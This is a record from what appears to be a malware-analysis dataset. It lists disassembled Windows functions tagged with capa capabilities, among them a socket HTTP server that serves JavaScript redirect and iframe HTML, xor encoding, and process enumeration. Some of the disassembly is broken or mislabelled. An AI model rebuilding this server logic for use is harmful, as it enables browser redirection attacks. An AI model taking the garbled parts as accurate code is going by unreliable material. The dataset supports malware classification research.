joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18004ad60
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg
Hash data with crc32
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
cmp byte [rcx + 0x41], 0
mov edi, r8d
mov rsi, rdx
mov rbx, rcx
je 0x18004ae66
mov rcx, qword [rcx + 0x50]
mov qword [rsp + 0x48], rbp
test rcx, rcx
je 0x18004ada2
cmp dword [rbx + 0x58], edi
jae 0x18004ada2
call fcn.1800515dc
mov qword [rbx + 0x50], 0
cmp qword [rbx + 0x50], 0
jne 0x18004adb8
lea ecx, [rdi + rdi]
call fcn.18004f9f8
mov dword [rbx + 0x58], edi
mov qword [rbx + 0x50], rax
mov rcx, qword [rbx + 0x50]
mov r8, rdi
mov rdx, rsi
mov rbp, rdi
call fcn.180054180
test edi, edi
je 0x18004ae5d
xor r11d, r11d
lea rsi, [0x180076530]
nop dword [rax]
mov rax, qword [rbx + 0x50]
mov edx, dword [rbx + 0x44]
mov r8d, dword [rbx + 0x4c]
movsx r10, byte [r11 + rax]
mov rcx, rdx
shr edx, 8
xor rcx, r10
mov r9d, r8d
inc r11
movzx eax, cl
and r9d, 0xfffd
mov ecx, dword [rsi + rax*4]
or r9d, 2
xor ecx, edx
mov dword [rbx + 0x44], ecx
movzx eax, cl
movzx ecx, r8b
add eax, dword [rbx + 0x48]
shr r8d, 8
imul eax, eax, 0x8088405
inc eax
mov dword [rbx + 0x48], eax
movzx eax, byte [rbx + 0x4b]
xor rcx, rax
mov eax, dword [rsi + rcx*4]
mov ecx, r9d
xor ecx, 1
xor eax, r8d
mov dword [rbx + 0x4c], eax
mov rax, qword [rbx + 0x50]
imul ecx, r9d
shr ecx, 8
xor cl, r10b
sub rbp, 1
mov byte [r11 + rax - 1], cl
jne 0x18004ade0
mov rsi, qword [rbx + 0x50]
mov rbp, qword [rsp + 0x48]
mov rdx, qword [rbx + 0x30]
test rdx, rdx
je 0x18004aeb6
mov ecx, dword [rbx + 0x38]
lea eax, [rcx + rdi]
cmp eax, dword [rbx + 0x3c]
jb 0x18004ae93
mov dword [rbx + 0x24], 0x30000
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
add rcx, rdx
mov r8, rdi
mov rdx, rsi
call fcn.180054180
add dword [rbx + 0x38], edi
mov eax, edi
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18004aeed
lea r9, [rsp + 0x40]
mov r8d, edi
mov rdx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rsi, qword [rsp + 0x58]
mov dword [rbx + 0x24], 0x1000000
mov rbx, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x30
pop rdi
ret
Function at 0x18004b1e0
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x540
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rbp, [0x180000000]
mov rsi, rcx
lea rcx, [rsp + 0x30]
mov rax, qword [rbp + 0x84430]
mov edi, r8d
mov rbx, rdx
mov qword [rcx], rax
movzx eax, word [rbp + 0x84438]
xor edx, edx
mov word [rcx + 8], ax
movzx eax, byte [rbp + 0x8443a]
mov r8d, 0xf5
mov byte [rcx + 0xa], al
lea rcx, [rsp + 0x3b]
call fcn.180055310
mov eax, dword [rbp + 0x8443c]
lea r11, [rsp + 0x20]
mov dword [r11], eax
movzx eax, byte [rbp + 0x84440]
lea r9, [rsp + 0x20]
mov byte [r11 + 4], al
xor eax, eax
lea r8, [rsp + 0x30]
mov edx, edi
mov rcx, rbx
mov qword [rsp + 0x25], rax
mov word [rsp + 0x2d], ax
mov byte [rsp + 0x2f], al
call fcn.18004b100
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x1800a6b30]
repne scasb al, byte [rdi]
lea r9, str.text_html
lea rdx, str.HTTP_1.1_200_OK_r_nServer:_zggs_Server__0.1__r_nAccept_Ranges:_bytes_r_nContent_Length:__d_r_nConnection:_close_r_nContent_Type:__s_r_n_r_n
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x130]
call fcn.18005151c
lea rdx, [rsp + 0x130]
xor r9d, r9d
mov r8d, eax
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x18004b2d5
xor eax, eax
jmp 0x18004b303
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x1800a6b30]
repne scasb al, byte [rdi]
lea rdx, [0x1800a6b30]
xor r9d, r9d
not rcx
lea r8, [rcx - 1]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov eax, 1
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x570]
add rsp, 0x540
pop rdi
pop rsi
pop rbp
ret
Function at 0x18004b3c0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x210
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x200], rax
mov ebx, dword [0x18009ab40]
mov rsi, rcx
test edx, edx
jne 0x18004b40e
mov r8, rcx
lea rdx, str._html__head__script_language_javascript__type_text_javascript__window.location.href__s____script___head___html_
lea rcx, [0x1800a6b30]
call fcn.18005151c
jmp 0x18004b46f
cmp edx, 2
jne 0x18004b46f
lea rcx, [0x1800a6b30]
lea rdx, str._head__meta_http_equivContent_Type_contenttext_html__charsetGBK__title_
mov r8d, 0x17f
call fcn.180054180
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x1800a6b30]
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rsi + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x18004b440
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x1800a6b30]
repne scasb al, byte [rdi]
lea rsi, str._target_blank_marginwidth1_marginheight1_border0_frameborderno___iframe___body___html_
mov ecx, 0x5c
dec rdi
rep movsb byte [rdi], byte [rsi]
mov ebp, 2
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea edx, [rbp - 1]
xor r8d, r8d
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18004b5bb
xor esi, esi
nop word [rax + rax]
movzx ecx, bx
mov word [rsp + 0x40], bp
call qword [sym.imp.WS2_32.dll_htons]
xor ecx, ecx
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_htonl]
lea rdx, [rsp + 0x40]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rdi
mov dword [rsp + 0x44], eax
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rdi
cmp eax, 0xffffffff
je 0x18004b5b5
mov edx, 0x7fffffff
call qword [sym.imp.WS2_32.dll_listen]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rsp + 0x38], rax
cmp rax, 0xffffffffffffffff
je 0x18004b568
nop dword [rax + rax]
lea r9, [rsp + 0x38]
lea r8, [0x18004b330]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_accept]
mov qword [rsp + 0x38], rax
cmp rax, 0xffffffffffffffff
jne 0x18004b520
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x60]
mov ecx, ebp
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, ebp
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x18004b4b0
jmp 0x18004b5bb
call qword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18004c000
Capabilities:
Delete file
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x3a0
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x3b0]
mov ecx, dword [rax]
call fcn.18004b5f0
mov byte [rsp + 0x140], 0
lea rdi, [rsp + 0x141]
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
mov byte [rsp + 0x30], 0
lea rdi, [rsp + 0x31]
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x140]
call fcn.18004b9f0
test eax, eax
je 0x18004c199
mov byte [rsp + 0x260], 0
lea rdi, [rsp + 0x261]
xor eax, eax
mov ecx, 0x103
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x3b0]
add rax, 0x108
mov qword [rsp + 0x370], rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x370]
movzx eax, byte [rax]
mov byte [rsp + 0x388], al
mov rcx, qword [rsp + 0x378]
movzx eax, byte [rsp + 0x388]
mov byte [rcx], al
mov rax, qword [rsp + 0x370]
add rax, 1
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x378]
add rax, 1
mov qword [rsp + 0x378], rax
cmp byte [rsp + 0x388], 0
jne 0x18004c0d6
lea rcx, [rsp + 0x30]
call fcn.18004bf10
mov qword [rsp + 0x258], rax
mov dx, 0x5c
mov rcx, qword [rsp + 0x258]
call fcn.18000b670
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 0
je 0x18004c18e
mov rax, qword [rsp + 0x250]
add rax, 2
mov qword [rsp + 0x250], rax
xor r8d, r8d
lea rdx, [rsp + 0x260]
mov rcx, qword [rsp + 0x250]
call fcn.18004ca30
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.180050540
add rsp, 0x3a0
pop rdi
ret

Function at 0x18004c360
Capabilities:
Hash data using crc32b

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x20], 0x4c11db7
movzx eax, byte [0x1800a5875]
test eax, eax
je 0x18004c37c
jmp 0x18004c45f
mov dword [rsp + 0x24], 0
jmp 0x18004c391
mov eax, dword [rsp + 0x24]
add eax, 1
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0xff
jg 0x18004c458
mov dl, 8
mov ecx, dword [rsp + 0x24]
call fcn.18004c2f0
mov edx, eax
shl edx, 0x18
movsxd rcx, dword [rsp + 0x24]
lea rax, [0x18009f6a0]
mov dword [rax + rcx*4], edx
mov dword [rsp + 0x28], 0
jmp 0x18004c3d3
mov eax, dword [rsp + 0x28]
add eax, 1
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 8
jge 0x18004c42a
movsxd rcx, dword [rsp + 0x24]
lea rax, [0x18009f6a0]
mov eax, dword [rax + rcx*4]
and eax, 0x80000000
test eax, eax
je 0x18004c3fc
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x2c], eax
jmp 0x18004c404
mov dword [rsp + 0x2c], 0
movsxd rcx, dword [rsp + 0x24]
lea rax, [0x18009f6a0]
mov edx, dword [rax + rcx*4]
shl edx, 1
xor edx, dword [rsp + 0x2c]
movsxd rcx, dword [rsp + 0x24]
lea rax, [0x18009f6a0]
mov dword [rax + rcx*4], edx
jmp 0x18004c3c8
movsxd rcx, dword [rsp + 0x24]
lea rax, [0x18009f6a0]
mov dl, 0x20
mov ecx, dword [rax + rcx*4]
call fcn.18004c2f0
mov r11d, eax
movsxd rcx, dword [rsp + 0x24]
lea rax, [0x18009f6a0]
mov dword [rax + rcx*4], r11d
jmp 0x18004c386
mov byte [0x1800a5875], 1
add rsp, 0x38
ret
Function at 0x18004c510
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
lea rdx, [0x1800759c4]
mov rcx, qword [rsp + 0x50]
call fcn.180050a28
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x18004c549
xor eax, eax
jmp 0x18004c60d
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x20]
call fcn.180051050
mov rcx, qword [rsp + 0x20]
call fcn.180050f34
mov dword [rsp + 0x2c], eax
cmp dword [rsp + 0x2c], 0xffffffff
jne 0x18004c577
xor eax, eax
jmp 0x18004c60d
mov rcx, qword [rsp + 0x20]
call fcn.180050820
mov eax, dword [rsp + 0x2c]
add eax, 1
movsxd rcx, eax
call fcn.18004f9f8
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58]
cmp qword [rax], 0
jne 0x18004c5b1
xor eax, eax
jmp 0x18004c60d
mov eax, dword [rsp + 0x2c]
add eax, 1
movsxd rcx, eax
mov rdi, qword [rsp + 0x58]
mov rdi, qword [rdi]
xor eax, eax
rep stosb byte [rdi], al
movsxd rdx, dword [rsp + 0x2c]
mov r9, qword [rsp + 0x20]
mov r8d, 1
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rcx]
call fcn.180051900
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
jg 0x18004c5f3
xor eax, eax
jmp 0x18004c60d
mov rcx, qword [rsp + 0x60]
mov eax, dword [rsp + 0x2c]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x20]
call fcn.1800511e8
mov eax, 1
add rsp, 0x40
pop rdi
ret
Function at 0x18004cf20
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x3d0
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
mov dword [rsp + 0x168], 0
mov dword [rsp + 0x180], 0xffffffff
lea rcx, [0x1800a70f8]
call fcn.18004d330
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x160], rax
cmp dword [rsp + 0x160], 0xffffffff
jne 0x18004cf82
xor eax, eax
jmp 0x18004d1aa
mov byte [rsp + 0x170], 0x63
mov byte [rsp + 0x171], WSAStartup
mov byte [rsp + 0x172], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x173], WSAStartup
mov byte [rsp + 0x174], WSAStartup
mov byte [rsp + 0x175], gethostbyname
mov byte [rsp + 0x176], 0x65
mov byte [rsp + 0x177], 0x78
mov byte [rsp + 0x178], 0x65
mov byte [rsp + 0x179], 0
lea rdi, [rsp + 0x30]
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x18004d038
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18004d022
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x180], eax
jmp 0x18004d038
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x18004cffe
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x180], 0
jge 0x18004d057
xor eax, eax
jmp 0x18004d1aa
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x160], rax
cmp dword [rsp + 0x160], 0xffffffff
jne 0x18004d07c
xor eax, eax
jmp 0x18004d1aa
lea rdi, [rsp + 0x30]
xor eax, eax
mov ecx, 0x130
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x18004d195
mov eax, dword [rsp + 0x180]
cmp dword [rsp + 0x50], eax
jne 0x18004d17b
mov dword [rsp + 0x168], 1
lea rdi, [rsp + 0x190]
xor eax, eax
mov ecx, 0x20c
rep stosb byte [rdi], al
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0x298]
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x3a8]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3a0]
movzx eax, byte [rax]
mov byte [rsp + 0x3b8], al
mov rcx, qword [rsp + 0x3a8]
movzx eax, byte [rsp + 0x3b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3a0]
add rax, 1
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0x3a8]
add rax, 1
mov qword [rsp + 0x3a8], rax
cmp byte [rsp + 0x3b8], 0
jne 0x18004d106
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x190], eax
lea rdx, [rsp + 0x190]
lea rcx, [0x1800a70f8]
call fcn.18004d250
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x160]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x18004d0ac
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.180050540
add rsp, 0x3d0
pop rdi
ret
Function at 0x1800505c4
Capabilities:
Move file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x1800505da
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800505dc
xor eax, eax
test eax, eax
je 0x1800505ec
mov ecx, eax
call fcn.180057d50
or eax, 0xffffffff
jmp 0x1800505ee
xor eax, eax
add rsp, 0x28
ret

Function at 0x180054ee8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
test rcx, rcx
jne 0x180054f22
call fcn.180057d30
and dword [rax], 0
call fcn.180057d10
and qword [rsp + 0x20], 0
mov ebx, socket
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call fcn.180052330
mov eax, ebx
jmp 0x180054f72
test edx, 0xfffffff9
jne 0x180054ef5
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x180054f4b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.180057d50
call fcn.180057d10
mov eax, dword [rax]
jmp 0x180054f72
test al, 0x10
jne 0x180054f70
test al, 1
je 0x180054f70
test bl, 2
je 0x180054f70
call fcn.180057d30
mov dword [rax], 5
call fcn.180057d10
mov dword [rax], reloc.WS2_32.dll_listen
jmp 0x180054f42
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x18005945f
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1800964f0]
jne 0x18005055a
rol rcx, 0x10
test cx, 0xffff
jne 0x180050556
repz ret
ror rcx, 0x10
jmp 0x1800593b8
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18009e5f0]
call qword [sym.imp.ntdll.dll_RtlCaptureContext]
mov r11, qword [0x18009e6e8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.ntdll.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18005943d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18009e5f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.ntdll.dll_RtlVirtualUnwind
jmp 0x18005945f
mov rax, qword [rsp + 0x88]
mov qword [0x18009e6e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18009e688], rax
mov rax, qword [0x18009e6e8]
mov qword [0x18009e560], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18009e670], rax
mov dword [0x18009e550], 0xc0000409
mov dword [0x18009e554], 1
mov rax, qword [0x1800964f0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1800964f8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18009e5e8], eax
mov ecx, 1
call fcn.18005e65c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180073af0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18009e5e8], 0
jne 0x1800594e6
mov ecx, 1
call fcn.18005e65c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x18005e5d8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x18005e44c
Function at 0x1800672a0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.18005b8fc
xor ebx, ebx
mov rdi, rax
cmp qword [0x18009f380], rbx
jne 0x1800673a6
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x18006747b
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18006747b
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x18009f380], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x18009f388], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x18009f390], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x18009f3a0], rax
test rax, rax
je 0x18006739d
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x18009f398], rax
jmp 0x1800673ad
mov rax, qword [0x18009f398]
jmp 0x1800673b4
mov rax, qword [0x18009f398]
mov r11, qword [0x18009f3a0]
cmp rax, rdi
je 0x18006741c
cmp r11, rdi
je 0x18006741c
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x18009f3a0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x18006741c
test rax, rax
je 0x18006741c
call rsi
test rax, rax
je 0x180067416
lea rcx, [rsp + 0x88]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180067416
test byte [rsp + 0x38], 1
jne 0x18006741c
bts ebp, 0x15
jmp 0x18006745a
mov rcx, qword [0x18009f388]
cmp rcx, rdi
je 0x18006745a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18006745a
call rax
mov rbx, rax
test rax, rax
je 0x18006745a
mov rcx, qword [0x18009f390]
cmp rcx, rdi
je 0x18006745a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18006745a
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x18009f380]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18006747b
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x18006747d
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140008fb0
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x140008fd5
cmp rax, rcx
je 0x140008fdb
cmp rdx, 4
jae 0x140008fe2
xor eax, eax
xor r8d, r8d
jmp 0x140009080
pop rbp
jmp fcn.140002390
xor eax, eax
jmp 0x140009097
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x1400183a0]
movdqa xmm3, xmmword [0x1400183b0]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140009010
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140009097
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140009080
pop rbp
ret
Function at 0x14000fe40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
cmp byte [rcx - 0x80], al
stc
add dword [rsi + 7], esi
movzx r8d, byte [rdx + 0x3a]
test r8b, 1
jne 0x14000feae
movzx eax, byte [rdx + 0x10]
lea r10d, [rax - 5]
Function at 0x140016920
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001696a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001696a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001696a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001696a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001696a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001696c
xor al, al
add rsp, 0x28
ret